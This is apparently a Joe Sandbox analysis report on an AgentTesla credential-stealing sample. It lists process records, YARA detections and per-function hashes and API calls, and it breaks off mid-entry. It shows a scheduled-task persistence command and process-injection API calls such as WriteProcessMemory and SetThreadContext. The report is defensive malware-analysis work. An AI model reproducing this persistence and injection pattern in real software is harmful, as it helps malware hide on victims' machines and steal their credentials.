Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Imagebase:	0xb20000
File size:	803'328 bytes
MD5 hash:	906CB4D1D82674CA8E0C0614D34AF552
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.4174148068.0000000002FBD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.4174148068.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.4174148068.0000000002F94000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:23:06
Start date:	20/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:23:06
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
Imagebase:	0x590000
File size:	803'328 bytes
MD5 hash:	906CB4D1D82674CA8E0C0614D34AF552
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:23:07
Start date:	20/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp"
Imagebase:	0x860000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:23:07
Start date:	20/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:23:07
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"
Imagebase:	0xea0000
File size:	803'328 bytes
MD5 hash:	906CB4D1D82674CA8E0C0614D34AF552
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.4173335726.000000000332C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.4173335726.0000000003305000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	14.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	203
Total number of Limit Nodes:	11

Executed Functions

Function 01247320 Relevance: 4.6, Strings: 3, Instructions: 856
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR^q, xrefs: 01247EC1
\s^q, xrefs: 012475B0
LR^q, xrefs: 012473AE

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$\s^q
API String ID: 0-56077355
Opcode ID: a182972ac68d945eb3dcd8f302fc70107f9c04178b3affa78d5e384f43ffdaac
Instruction ID: 89d6be3088eb0a2aeaab9cfb3141c309ec3067fda8c201636d1416f77deec389
Opcode Fuzzy Hash: a182972ac68d945eb3dcd8f302fc70107f9c04178b3affa78d5e384f43ffdaac
Instruction Fuzzy Hash: 89728C75E1022A8FCB15CFA9D884AAEB7F2FF88300F15C569E415EB255D734A942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0124730E Relevance: 2.9, Strings: 2, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\s^q, xrefs: 012475B0
LR^q, xrefs: 012473AE

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR^q$\s^q
API String ID: 0-2586804783
Opcode ID: c4090da698ce7149956864b9aa90208d0d2a229e3b6b132fc7e690f7c1379416
Instruction ID: e30d813b1b942e5f245e1d90aabee97b580715c707e164cfb1a62a5195d247fd
Opcode Fuzzy Hash: c4090da698ce7149956864b9aa90208d0d2a229e3b6b132fc7e690f7c1379416
Instruction Fuzzy Hash: 72E19D35E1022A8FDB14CF7AD8446AEB7F2BF88304F158669E415EB354DB349902CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0124735A Relevance: 2.8, Strings: 2, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\s^q, xrefs: 012475B0
LR^q, xrefs: 012473AE

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR^q$\s^q
API String ID: 0-2586804783
Opcode ID: 41045c9182fcca183879fe8aefd563538c80800df91a1e2b4e4c6cd94d9227d5
Instruction ID: 0c801227df963a274040fa4c08530ec83900ac458681d2338fd4e560e7a62672
Opcode Fuzzy Hash: 41045c9182fcca183879fe8aefd563538c80800df91a1e2b4e4c6cd94d9227d5
Instruction Fuzzy Hash: B6D18B35E1022A8FDB14DF7AD8446AEB7B2BFC8304F158669D409EB354DB34A902CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01246FE0 Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

\s^q, xrefs: 0124716B

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: \s^q
API String ID: 0-4111632511
Opcode ID: 615ba083b1029babb860eb0ac7d179a90d54e38088c2f29b6cac2dcf613776d8
Instruction ID: ec24011d7024c4561af8bf389879e76f2e682e999045cd3e0e87bc7746af29ac
Opcode Fuzzy Hash: 615ba083b1029babb860eb0ac7d179a90d54e38088c2f29b6cac2dcf613776d8
Instruction Fuzzy Hash: FE812A78D5010E9FDF54DFAAD884ABEBBB2FF88310F10A655D412EB290DB319941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01248718 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

, xrefs: 0124882E

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 2caf876bb9ffdf9e041307003a5743b68297265183902e8f351b6ae9f65e0b92
Instruction ID: e4ac7398294cd95502546c3296b0a47c33e5caa0bc5ebb0ad40dde7aa49e446f
Opcode Fuzzy Hash: 2caf876bb9ffdf9e041307003a5743b68297265183902e8f351b6ae9f65e0b92
Instruction Fuzzy Hash: F051D031F1011A8FCB18CBBDD88556EBBE2FBC8615B24857AE605DB359DB30EC418B90

Uniqueness

Uniqueness Score: -1.00%

Function 01246FD0 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

\s^q, xrefs: 0124716B

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: \s^q
API String ID: 0-4111632511
Opcode ID: 33a62de2b5c83ce1fa7a5ec540d6ac05547b88c4a29b82198b907c51ff608d04
Instruction ID: 4ac0549ff5de670726691c7b5061d0548f77ab15db4521f83e1d197a6b497da6
Opcode Fuzzy Hash: 33a62de2b5c83ce1fa7a5ec540d6ac05547b88c4a29b82198b907c51ff608d04
Instruction Fuzzy Hash: C4513978D5020E9FDF04DFAAD8846AEBBB2FF88310F10A665D411EB354DB359A41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012483E7 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61dcdd3508b355fc6e3e52a002440162c415c438ff5617190ac12c0a7407504
Instruction ID: 006b090d0d66cd33ee46f2dacdc861b6ff27692a11c99d68d7a72d74344585c2
Opcode Fuzzy Hash: c61dcdd3508b355fc6e3e52a002440162c415c438ff5617190ac12c0a7407504
Instruction Fuzzy Hash: A0819132F205268FD754DB69D884A5EB7E3AFC8711F1A8168E50ADB366DE34DC018B80

Uniqueness

Uniqueness Score: -1.00%

Function 01248491 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2947f0fd3b01023d544b6bd81985c7f4c0f1d8f8c7b5104e354e1530b93b8193
Instruction ID: 37512ade553c8194497881ba33518e28f2b2d1871247be5c058d15d13f08e170
Opcode Fuzzy Hash: 2947f0fd3b01023d544b6bd81985c7f4c0f1d8f8c7b5104e354e1530b93b8193
Instruction Fuzzy Hash: 88614032F205268FD754DB69C844A5EB7E3AFC8715F1AC164E409DB36ADE74EC018B90

Uniqueness

Uniqueness Score: -1.00%

Function 0840A360 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3407f6ea436f6ffa309ea849847fd4bce089c6eb9f071ce6a0b05908b9d2963f
Instruction ID: 6dcd7fc69fd6bb33272ac65f4b7882915af597235b7fa9ecb66f279cc35a49ec
Opcode Fuzzy Hash: 3407f6ea436f6ffa309ea849847fd4bce089c6eb9f071ce6a0b05908b9d2963f
Instruction Fuzzy Hash: 0C41F871D057298BDB68CF6AC8407EAFBB6BFC9301F14D1BAD40DA6254EB700A858F40

Uniqueness

Uniqueness Score: -1.00%

Function 0124F5F0 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0124F67E
GetCurrentThread.KERNEL32 ref: 0124F6BB
GetCurrentProcess.KERNEL32 ref: 0124F6F8
GetCurrentThreadId.KERNEL32 ref: 0124F751

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d8a994ed4494374aa5cac7803690c4d304ee6ca74870d64cbc31a972d4d0cf85
Instruction ID: 0c452aae7d6da2cedbb27ec5ae1254fda7c20438d7ff91765d135160dc835764
Opcode Fuzzy Hash: d8a994ed4494374aa5cac7803690c4d304ee6ca74870d64cbc31a972d4d0cf85
Instruction Fuzzy Hash: 355134B090024A8FDB18DFAAD648B9EBBF1EF88314F20C459E559A7360D7349984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0124F600 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0124F67E
GetCurrentThread.KERNEL32 ref: 0124F6BB
GetCurrentProcess.KERNEL32 ref: 0124F6F8
GetCurrentThreadId.KERNEL32 ref: 0124F751

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d74d4f311831fc269b91eda2e68b25c555a075516468102f6c03f1d457a4ffd8
Instruction ID: 0d4858e96d8d0b8c515336cb08638e97f174791aad94b4a04172ffe945e82d27
Opcode Fuzzy Hash: d74d4f311831fc269b91eda2e68b25c555a075516468102f6c03f1d457a4ffd8
Instruction Fuzzy Hash: AA5125B090024A8FDB18DFAAD648BDEBBF1EF88314F20C459E559A7360DB349944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 084075F4 Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 08407836

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d14cdc8b8fc4dfbb469628e50dbdbe37afd947b5f3322e116c631f60c2a3df74
Instruction ID: a974c3a8c105d65ccf8a1e0702b5b17368c6418bae0b962708a18f71ff53804a
Opcode Fuzzy Hash: d14cdc8b8fc4dfbb469628e50dbdbe37afd947b5f3322e116c631f60c2a3df74
Instruction Fuzzy Hash: 42A19E71D10219CFDB10CFACC9407EEBBB2BF44314F1485AAE849A7290DB75A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 08407600 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 08407836

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d09bfd705c5a423136a4f71127ce1ea059337ab5e6dd3056c0fcc474f6a9f9c2
Instruction ID: 0d3a3f9d87114e48b2c06cc9bddb09a8879691ea56efa0fb5b6878b24083b610
Opcode Fuzzy Hash: d09bfd705c5a423136a4f71127ce1ea059337ab5e6dd3056c0fcc474f6a9f9c2
Instruction Fuzzy Hash: 45918F71D00219CFDB14CF6CC840BEEBBB2BF44314F1485AAD809A7290DB75A985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0124D357 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0124D5BE

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2ca88c19dfd6489134d11f383694aa08f61a323f08d26b9b96a42349718a13ce
Instruction ID: 79eb249c4daaa30d672600a4a96994c174f54584eddf14b275e996141d158c8d
Opcode Fuzzy Hash: 2ca88c19dfd6489134d11f383694aa08f61a323f08d26b9b96a42349718a13ce
Instruction Fuzzy Hash: BF813270A10B4A8FD728DF69D0447AABBF1FF88300F008A2DD18A97A50D734E949CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0124449C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 012459A9

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b525e37a92b8c5f29b76c0676d7d4bdafb16df3c33e10c0eca6045132c605298
Instruction ID: 9735705728ec362b340b75503a4b9976b2b39561975e63cc69034ead6aa2b21f
Opcode Fuzzy Hash: b525e37a92b8c5f29b76c0676d7d4bdafb16df3c33e10c0eca6045132c605298
Instruction Fuzzy Hash: E04112B0C1071DCBDB28CFA9C944B8EBBB5FF88304F20806AE448AB251DB756945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 012458ED Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 012459A9

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a1a5c9a4b574c389f3a6188c6f140d6a149cd493f7f5f8c535b542f84eb77a76
Instruction ID: 7fab060f31a881eefda2a1a1eb2fce6fed1e3b0111d500756a610143d7f1133f
Opcode Fuzzy Hash: a1a5c9a4b574c389f3a6188c6f140d6a149cd493f7f5f8c535b542f84eb77a76
Instruction Fuzzy Hash: A84112B0C10719CFDB28DFA9C9847CDBBB5BF49304F24806AD448AB261DB75694ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 08407375 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 08407408

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c688af5cfd4d4e5a23157bc2b3fd59147e040c140f62a57b59210d6d451e8260
Instruction ID: 39d4b3c62f39a9fd934a3a29f95d3d3fbe65806c5d51377d74e4703737b82727
Opcode Fuzzy Hash: c688af5cfd4d4e5a23157bc2b3fd59147e040c140f62a57b59210d6d451e8260
Instruction Fuzzy Hash: 2F2146B1900219CFDB10CFA9C981BEEBBF1FF48310F10842AE958A7250C778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08407378 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 08407408

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f906d2ceea324048f8cb1f964882d73564dba568ab47a9d7e030b9dbf7ba7b28
Instruction ID: 5a8a82ac34957918a169d0186c5ad44ea365a9294003f6287cd67b3b638cc2fe
Opcode Fuzzy Hash: f906d2ceea324048f8cb1f964882d73564dba568ab47a9d7e030b9dbf7ba7b28
Instruction Fuzzy Hash: 9F2144B19003199FCB10CFA9C981BDEBBF5FF48310F10842AE958A7250C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124FC48 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0124FCD7

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7a9b750cafb9c9cf10ebc8eca424fd9b9c69af39ed7c355a96302532b831f3ca
Instruction ID: af09a663ab5c4b1b5725b57299853dfcb3071f1fe9bd40091e9f072582f95e8a
Opcode Fuzzy Hash: 7a9b750cafb9c9cf10ebc8eca424fd9b9c69af39ed7c355a96302532b831f3ca
Instruction Fuzzy Hash: 2221FFB59002489FDB10CFAAD984AEEFFF4FB48320F14805AE958A7210C378A944CF64

Uniqueness

Uniqueness Score: -1.00%

Function 08407460 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 084074E8

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6daa861f83bb70388985a45b47b4ec3efbde15d8c9598e7e3bc2da3c801a81a9
Instruction ID: c32dc4def60080b1ea7ade605759416fbb00c6354aeac6be4cba7b2e6b317246
Opcode Fuzzy Hash: 6daa861f83bb70388985a45b47b4ec3efbde15d8c9598e7e3bc2da3c801a81a9
Instruction Fuzzy Hash: 462134B19002199FCB10CFA9C981BEEBBF5FF48320F10842AE558A7250C738A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08406DA0 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08406E26

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c33ac1bf0d67f188e5fbe6ab23e2060f8fb1096b9997946649a47cf4db6dbef8
Instruction ID: 3d93cb74c5bca3481d1756d60f423835fc782ab5b13cac56eee2d6bf78786574
Opcode Fuzzy Hash: c33ac1bf0d67f188e5fbe6ab23e2060f8fb1096b9997946649a47cf4db6dbef8
Instruction Fuzzy Hash: AA2154B2D003098FDB10CFA9C5857EEBBF4AF48324F14842AD459A7281D7789984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08407468 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 084074E8

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f05602e4670d713f990a11f6ccf9563dd5a282539b20c243111bd7d23017d431
Instruction ID: 36fb7c26c090e2a754bfa6e3a1e0916d63a38ceae5360383f6666a75cbee4153
Opcode Fuzzy Hash: f05602e4670d713f990a11f6ccf9563dd5a282539b20c243111bd7d23017d431
Instruction Fuzzy Hash: 442128B19002599FCB10DFAAC941AEEFBF5FF48320F10842AE559A7250C779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08406DA8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08406E26

Memory Dump Source

Source File: 00000000.00000002.1735757073.0000000008400000.00000040.00000800.00020000.00000000.sdmp, Offset: 08400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8400000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0c4bb6739540c5ed3834fd86032cfe334f2f4a321c323650c22dc841832821a9
Instruction ID: 3385dbdd42e0aafe8660bb24609c1560c5774c8c26912a1b15ca42b3c879370d
Opcode Fuzzy Hash: 0c4bb6739540c5ed3834fd86032cfe334f2f4a321c323650c22dc841832821a9
Instruction Fuzzy Hash: 662107B1D003098FDB10DFAAC5857EFBBF4AF48324F54842AD459A7241C778A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124FC50 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0124FCD7

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 38c1817ba43fa7f6fb881f0f0965ffb82a4c6b410443f8020b52b79f2e860847
Instruction ID: f275bfb2b90341db0946b6afe3377eaa85732b84af3c9a9927d1d93dd6e68a30
Opcode Fuzzy Hash: 38c1817ba43fa7f6fb881f0f0965ffb82a4c6b410443f8020b52b79f2e860847
Instruction Fuzzy Hash: 8421E4B5900208DFDB10CFAAD584ADEBFF8FB48310F14841AE954A3310D374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124C6F0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0124D639,00000800,00000000,00000000), ref: 0124D84A

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bc99da6063c67c1eb788d464aa36f4c3272c486cb0fd651903fa8b478f3d0dea
Instruction ID: 4c715cb2e8c8db515834cdaeaa6b9a8d2c865aa79efc7d708ec22849ff73052a
Opcode Fuzzy Hash: bc99da6063c67c1eb788d464aa36f4c3272c486cb0fd651903fa8b478f3d0dea
Instruction Fuzzy Hash: B41112B6D002098FDB14CF9AD544AEEFBF8EB98320F10842EE519A7210C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0124D7D8 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0124D639,00000800,00000000,00000000), ref: 0124D84A

Memory Dump Source

Source File: 00000000.00000002.1724949768.0000000001240000.00000040.00000800.00020000.00000000.sdmp, Offset: 01240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1240000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 22f6fca88f392574ee547e1bcc8079766629fcf213380d6352b84a063b8751b0
Instruction ID: 73230ba665b405f47bc9ec6c39f8c5fc0d9579fb16ffa45a4feb90b9f69671f7
Opcode Fuzzy Hash: 22f6fca88f392574ee547e1bcc8079766629fcf213380d6352b84a063b8751b0
